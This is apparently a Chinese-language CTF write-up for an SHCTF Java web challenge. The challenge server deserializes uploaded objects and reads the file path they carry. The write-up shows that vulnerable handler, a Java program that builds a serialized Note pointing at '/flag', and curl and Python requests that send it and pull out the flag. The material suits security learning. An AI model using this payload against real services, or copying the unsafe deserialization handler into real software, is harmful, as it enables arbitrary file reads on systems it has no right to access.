

```

public void handle(HttpExchange exchange) throws IOException {
    String method = exchange.getRequestMethod();
    String path = exchange.getRequestURI().getPath();

    if ("POST".equalsIgnoreCase(method) && "/upload".equals(path)) {
        try (ObjectInputStream ois = new
ObjectInputStream(exchange.getRequestBody())) {
            Object obj = ois.readObject();
            if (obj instanceof Note) {
                Note note = (Note) obj;
                if (note.getFilePath() != null) {
                    echo(readFile(note.getFilePath()));
                }
            }
        } catch (Exception e) {}
    }
}

```

打开网站给了源码，有附件Node.jar，里面是一个Note类

```

package defpackage;

import java.io.Serializable;

/* loaded from: Note.jar:Note.class */
public class Note implements Serializable {
    private static final long serialVersionUID = 1;
    private String title;
    private String message;
    private String filePath;

    public Note(String str, String str2, String str3) {
        this.title = str;
        this.message = str2;
        this.filePath = str3;
    }

    public String getTitle() {
        return this.title;
    }

    public String getMessage() {
        return this.message;
    }

    public String getFilePath() {
        return this.filePath;
    }
}

```

这一看就是java反序列化，写一个序列化脚本

```

import java.io.FileOutputStream;

```

```

import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.Serializable;

/* loaded from: Note.jar>Note.class */
class Note implements Serializable {
    private static final long serialVersionUID = 1;
    private String title;
    private String message;
    private String filePath;

    public Note(String str, String str2, String str3) {
        this.title = str;
        this.message = str2;
        this.filePath = str3;
    }
}

public class mkpaylaod {
    public static void main(String args[]) throws IOException {
        Note p=new Note("deadbeef","goodbye","/flag");
        ObjectOutputStream oos=new ObjectOutputStream(new
FileOutputStream("SHCTF/shell.bin"));
        oos.writeObject(p);
        oos.close();
        System.out.println("done");
    }
}

```

将生成的字节流文件发送过去即可

用curl命令

```
curl -X POST http://challenge.shc.tf:xxxxx/upload --data-binary @shell.bin
```

或python脚本

```

import requests
import re

url = "http://challenge.shc.tf:30246"

with open("./web-java_serialize_payload.bin", "rb") as f:
    payload = f.read()

response = requests.post(url+"/upload", data=payload)
if "SHCTF{" in response.text:
    result=re.findall("SHCTF{.*?}",response.text)
    print(result)

```